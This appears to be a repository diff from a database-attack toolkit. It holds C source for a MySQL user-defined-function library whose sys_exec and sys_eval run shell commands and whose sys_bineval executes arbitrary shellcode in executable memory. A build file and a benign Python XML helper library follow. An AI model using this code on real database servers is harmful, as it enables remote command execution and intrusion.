|
||||
DLLEXP
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
/**
|
||||
* lib_mysqludf_sys_info
|
||||
*/
|
||||
my_bool lib_mysqludf_sys_info_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
my_bool status;
|
||||
if(args->arg_count!=0){
|
||||
strcpy(
|
||||
message
|
||||
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
|
||||
);
|
||||
status = 1;
|
||||
} else {
|
||||
status = 0;
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
strcpy(result,LIBVERSION);
|
||||
*length = strlen(LIBVERSION);
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_get_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
if(args->arg_count==1
|
||||
&& args->arg_type[0]==STRING_RESULT){
|
||||
initid->maybe_null = 1;
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
char* value = getenv(args->args[0]);
|
||||
if(value == NULL){
|
||||
*is_null = 1;
|
||||
} else {
|
||||
*length = strlen(value);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
my_bool sys_set_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
if(args->arg_count!=2){
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly two arguments"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
if(args->arg_type[0]!=STRING_RESULT){
|
||||
strcpy(
|
||||
message
|
||||
, "Expected string type for name parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
args->arg_type[1]=STRING_RESULT;
|
||||
if((initid->ptr=malloc(
|
||||
args->lengths[0]
|
||||
+ 1
|
||||
+ args->lengths[1]
|
||||
+ 1
|
||||
))==NULL){
|
||||
strcpy(
|
||||
message
|
||||
, "Could not allocate memory"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
if (initid->ptr!=NULL){
|
||||
free(initid->ptr);
|
||||
}
|
||||
}
|
||||
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
char *name = initid->ptr;
|
||||
char *value = name + args->lengths[0] + 1;
|
||||
memcpy(
|
||||
name
|
||||
, args->args[0]
|
||||
, args->lengths[0]
|
||||
);
|
||||
*(name + args->lengths[0]) = '\0';
|
||||
memcpy(
|
||||
value
|
||||
, args->args[1]
|
||||
, args->lengths[1]
|
||||
);
|
||||
*(value + args->lengths[1]) = '\0';
|
||||
return SETENV(name,value);
|
||||
}
|
||||
|
||||
my_bool sys_exec_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
unsigned int i=0;
|
||||
if(args->arg_count == 1
|
||||
&& args->arg_type[i]==STRING_RESULT){
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
return system(args->args[0]);
|
||||
}
|
||||
|
||||
my_bool sys_eval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
unsigned int i=0;
|
||||
if(args->arg_count == 1
|
||||
&& args->arg_type[i]==STRING_RESULT){
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
FILE *pipe;
|
||||
char *line;
|
||||
unsigned long outlen, linelen;
|
||||
|
||||
line = (char *)malloc(1024);
|
||||
result = (char *)malloc(1);
|
||||
outlen = 0;
|
||||
|
||||
result[0] = (char)0;
|
||||
|
||||
pipe = popen(args->args[0], "r");
|
||||
|
||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
linelen = strlen(line);
|
||||
result = (char *)realloc(result, outlen + linelen);
|
||||
strncpy(result + outlen, line, linelen);
|
||||
outlen = outlen + linelen;
|
||||
}
|
||||
|
||||
pclose(pipe);
|
||||
|
||||
if (!(*result) || result == NULL) {
|
||||
*is_null = 1;
|
||||
} else {
|
||||
result[outlen-1] = 0x00;
|
||||
*length = strlen(result);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
|
||||
}
|
||||
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
len = (size_t)strlen(args->args[0]);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, args->args[0], len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
return 1;
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
return 1;
|
||||
|
||||
strncpy((char *)addr, args->args[0], len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if defined(_WIN64)
|
||||
void __exec_payload(LPVOID);
|
||||
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__exec_payload(lpParameter);
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
@@ -0,0 +1,368 @@
|
||||
<?xml version="1.0" encoding="Windows-1252"?>
|
||||
<VisualStudioProject
|
||||
ProjectType="Visual C++"
|
||||
Version="8,00"
|
||||
Name="lib_mysqludf_sys"
|
||||
ProjectGUID="{4D362A3E-CA53-444C-B1C8-C49641823875}"
|
||||
RootNamespace="lib_mysqludf_sys"
|
||||
TargetFrameworkVersion="196613"
|
||||
>
|
||||
<Platforms>
|
||||
<Platform
|
||||
Name="Win32"
|
||||
/>
|
||||
<Platform
|
||||
Name="x64"
|
||||
/>
|
||||
</Platforms>
|
||||
<ToolFiles>
|
||||
<DefaultToolFile
|
||||
FileName="masm.rules"
|
||||
/>
|
||||
</ToolFiles>
|
||||
<Configurations>
|
||||
<Configuration
|
||||
Name="Debug|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="MASM"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
|
||||
PreprocessorDefinitions="HAVE_DLOPEN"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="3"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="4"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)"
|
||||
GenerateDebugInformation="true"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Debug|x64"
|
||||
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="MASM"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
TargetEnvironment="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
|
||||
PreprocessorDefinitions="HAVE_DLOPEN"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="3"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)"
|
||||
GenerateDebugInformation="true"
|
||||
TargetMachine="17"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
WholeProgramOptimization="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="MASM"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="1"
|
||||
EnableIntrinsicFunctions="true"
|
||||
FavorSizeOrSpeed="2"
|
||||
AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
|
||||
PreprocessorDefinitions="HAVE_DLOPEN"
|
||||
RuntimeLibrary="2"
|
||||
EnableFunctionLevelLinking="true"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="0"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)\Lib"
|
||||
GenerateDebugInformation="true"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
TargetMachine="17"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|x64"
|
||||
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
WholeProgramOptimization="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="MASM"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
TargetEnvironment="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="2"
|
||||
EnableIntrinsicFunctions="true"
|
||||
AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
|
||||
PreprocessorDefinitions="HAVE_DLOPEN"
|
||||
RuntimeLibrary="2"
|
||||
EnableFunctionLevelLinking="true"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)\Lib\x64"
|
||||
GenerateDebugInformation="false"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
OptimizeForWindows98="1"
|
||||
TargetMachine="17"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
</Configurations>
|
||||
<References>
|
||||
</References>
|
||||
<Files>
|
||||
<Filter
|
||||
Name="Source Files"
|
||||
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
|
||||
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\__exec_payload.asm"
|
||||
>
|
||||
<FileConfiguration
|
||||
Name="Release|x64"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
CommandLine="ml64.exe /c /Cx "$(inputpath)"
"
|
||||
Outputs="$(InputName).obj"
|
||||
/>
|
||||
</FileConfiguration>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\lib_mysqludf_sys.c"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Header Files"
|
||||
Filter="h;hpp;hxx;hm;inl;inc;xsd"
|
||||
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
|
||||
>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Resource Files"
|
||||
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
|
||||
UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
|
||||
>
|
||||
</Filter>
|
||||
</Files>
|
||||
<Globals>
|
||||
</Globals>
|
||||
</VisualStudioProject>
|
||||
@@ -0,0 +1 @@
|
||||
PostgreSQL does not compile under Windows 64-bit.
|
||||
Executable
+19
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2008-2009 Jose Fonseca
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
pass
|
||||
+2159
File diff suppressed because it is too large
Load Diff
Executable
+19
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2007-2008 David McNab
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
pass
|
||||
@@ -0,0 +1,583 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2007-2008 David McNab
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
"""
|
||||
Allows XML files to be operated on like Python objects.
|
||||
|
||||
Features:
|
||||
- load XML source from file pathnames, readable file objects or raw strings
|
||||
- add, get and set tag attributes like with python attributes
|
||||
- iterate over nodes
|
||||
- save the modified XMLFile or XMLObject to file
|
||||
|
||||
Example XML file::
|
||||
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<rapsheets>
|
||||
<person name="John Smith" age="42">
|
||||
<!-- John Smith has an appeal in process against his last conviction -->
|
||||
<crime name="Armed robbery" date="March 11, 1994"/>
|
||||
<crime name="Aggravated burglary" date="June 9, 2001"/>
|
||||
</person>
|
||||
<person name="Mary Jones" age="33">
|
||||
<crime name="Prostitution" date="January 8, 1997"/>
|
||||
<crime name="Selling heroin" date="September 4, 2002"/>
|
||||
<crime name="Manslaughter" date="December 21, 2004"/>
|
||||
</person>
|
||||
</rapsheets>
|
||||
|
||||
Example usage::
|
||||
|
||||
>> from xmlobject import XMLFile
|
||||
|
||||
>> x = XMLFile(path="sample.xml")
|
||||
|
||||
>> print x
|
||||
<xmlobj.XMLFile instance at 0xb7ccc52c>
|
||||
|
||||
>> print x.root
|
||||
<XMLNode: rapsheets>
|
||||
|
||||
>> print x.root._children
|
||||
[<XMLNode: text>, <XMLNode: person>, <XMLNode: text>,
|
||||
<XMLNode: person>, <XMLNode: text>]
|
||||
|
||||
>> print x.root.person
|
||||
[<XMLNode: person>, <XMLNode: person>]
|
||||
|
||||
>> print x.root.person[0].name
|
||||
John Smith
|
||||
|
||||
>> john = x.root.person[0]
|
||||
|
||||
>> john.height = 184
|
||||
|
||||
>> c = john._addNode("crime")
|
||||
|
||||
>> c.name = "Grand Theft Auto"
|
||||
|
||||
>> c.date = "4 May, 2005"
|
||||
|
||||
>> print x.toxml()
|
||||
<?xml version="1.0" ?>
|
||||
<rapsheets>
|
||||
<person age="42" height="184" name="John Smith">
|
||||
<!-- John Smith has an appeal in process against his last conviction -->
|
||||
<crime date="March 11, 1994" name="Armed robbery"/>
|
||||
<crime date="June 9, 2001" name="Aggravated burglary"/>
|
||||
<crime date="4 May, 2005" name="Grand Theft Auto"/></person>
|
||||
<person age="33" name="Mary Jones">
|
||||
<crime date="January 8, 1997" name="Prostitution"/>
|
||||
<crime date="September 4, 2002" name="Selling heroin"/>
|
||||
<crime date="December 21, 2004" name="Manslaughter"/>
|
||||
</person>
|
||||
</rapsheets>
|
||||
|
||||
>>
|
||||
|
||||
"""
|
||||
|
||||
import sys, os
|
||||
import xml.dom
|
||||
import xml.dom.minidom
|
||||
from xml.dom.minidom import parse, parseString, getDOMImplementation
|
||||
|
||||
impl = getDOMImplementation()
|
||||
|
||||
class MissingRootTag(Exception):
|
||||
"""root tag name was not given"""
|
||||
|
||||
class IncorrectRootTag(Exception):
|
||||
"""root tag is given but incorrect"""
|
||||
|
||||
class InvalidXML(Exception):
|
||||
"""failed to parse XML input"""
|
||||
|
||||
class CannotSave(Exception):
|
||||
"""unable to save"""
|
||||
|
||||
class InvalidNode(Exception):
|
||||
"""not a valid minidom node"""
|
||||
|
||||
class XMLFile:
|
||||
"""
|
||||
Allows an xml file to be viewed and operated on
|
||||
as a python object.
|
||||
|
||||
(If you're viewing the epydoc-generated HTML documentation, click the 'show private'
|
||||
link at the top right of this page to see all the methods)
|
||||
|
||||
Holds the root node in the .root attribute, also in an attribute
|
||||
with the same name as this root node.
|
||||
"""
|
||||
def __init__(self, **kw):
|
||||
"""
|
||||
Create an XMLFile
|
||||
|
||||
Keywords:
|
||||
- path - a pathname from which the file can be read
|
||||
- file - an open file object from which the raw xml
|
||||
can be read
|
||||
- raw - the raw xml itself
|
||||
- root - name of root tag, if not reading content
|
||||
|
||||
Usage scenarios:
|
||||
1. Working with existing content - you must supply input in
|
||||
one of the following ways:
|
||||
- 'path' must be an existing file, or
|
||||
- 'file' must be a readable file object, or
|
||||
- 'raw' must contain raw xml as a string
|
||||
2. Creating whole new content - you must give the name
|
||||
of the root tag in the 'root' keyword
|
||||
|
||||
Notes:
|
||||
- Keyword precedence governing existing content is:
|
||||
1. path (if existing file)
|
||||
2. file
|
||||
3. raw
|
||||
- If working with existing content:
|
||||
- if the 'root' is given, then the content's toplevel tag
|
||||
MUST match the value given for 'root'
|
||||
- trying to _save will raise an exception unless 'path'
|
||||
has been given
|
||||
- if not working with existing content:
|
||||
- 'root' must be given
|
||||
- _save() will raise an exception unless 'path' has been given
|
||||
"""
|
||||
path = kw.get("path", None)
|
||||
fobj = kw.get("file", None)
|
||||
raw = kw.get("raw", None)
|
||||
root = kw.get("root", None)
|
||||
textfilter = kw.get("textfilter", None)
|
||||
|
||||
if path:
|
||||
self.path = path
|
||||
try:
|
||||
fobj = file(path)
|
||||
except IOError:
|
||||
pass
|
||||
else:
|
||||
self.path = None
|
||||
|
||||
if fobj:
|
||||
raw = fobj.read()
|
||||
|
||||
if raw:
|
||||
self.dom = xml.dom.minidom.parseString(raw)
|
||||
else:
|
||||
# could not source content, so create a blank slate
|
||||
if not root:
|
||||
# in which case, must give a root node name
|
||||
raise MissingRootTag(
|
||||
"No existing content, so must specify root")
|
||||
|
||||
# ok, create a blank dom
|
||||
self.dom = impl.createDocument(None, root, None)
|
||||
|
||||
# get the root node, save it as attributes 'root' and name of node
|
||||
rootnode = self.dom.documentElement
|
||||
|
||||
# now validate root tag
|
||||
if root:
|
||||
if rootnode.nodeName != root:
|
||||
raise IncorrectRootTag("Gave root='%s', input has root='%s'" % (
|
||||
root, rootnode.nodeName))
|
||||
|
||||
if textfilter:
|
||||
self.textfilter = textfilter
|
||||
else:
|
||||
self.textfilter = lambda x: x
|
||||
|
||||
# need this for recursion in XMLNode
|
||||
self._childrenByName = {}
|
||||
self._children = []
|
||||
|
||||
# add all the child nodes
|
||||
for child in self.dom.childNodes:
|
||||
childnode = XMLNode(self, child)
|
||||
#print "compare %s to %s" % (rootnode, child)
|
||||
if child == rootnode:
|
||||
#print "found root"
|
||||
self.root = childnode
|
||||
setattr(self, rootnode.nodeName, self.root)
|
||||
|
||||
def save(self, where=None, obj=None):
|
||||
"""
|
||||
Saves the document.
|
||||
|
||||
If argument 'where' is given, saves to it, otherwise
|
||||
tries to save to the original given 'path' (or barfs)
|
||||
|
||||
Value can be a string (taken to be a file path), or an open
|
||||
file object.
|
||||
"""
|
||||
obj = obj or self.dom
|
||||
|
||||
if not where:
|
||||
if self._root.path:
|
||||
where = self._root.path
|
||||
|
||||
if isinstance(where, str):
|
||||
where = file(where, "w")
|
||||
|
||||
if not where:
|
||||
raise CannotSave("No save destination, and no original path")
|
||||
|
||||
where.write(obj.toxml())
|
||||
where.flush()
|
||||
|
||||
def saveAs(self, path):
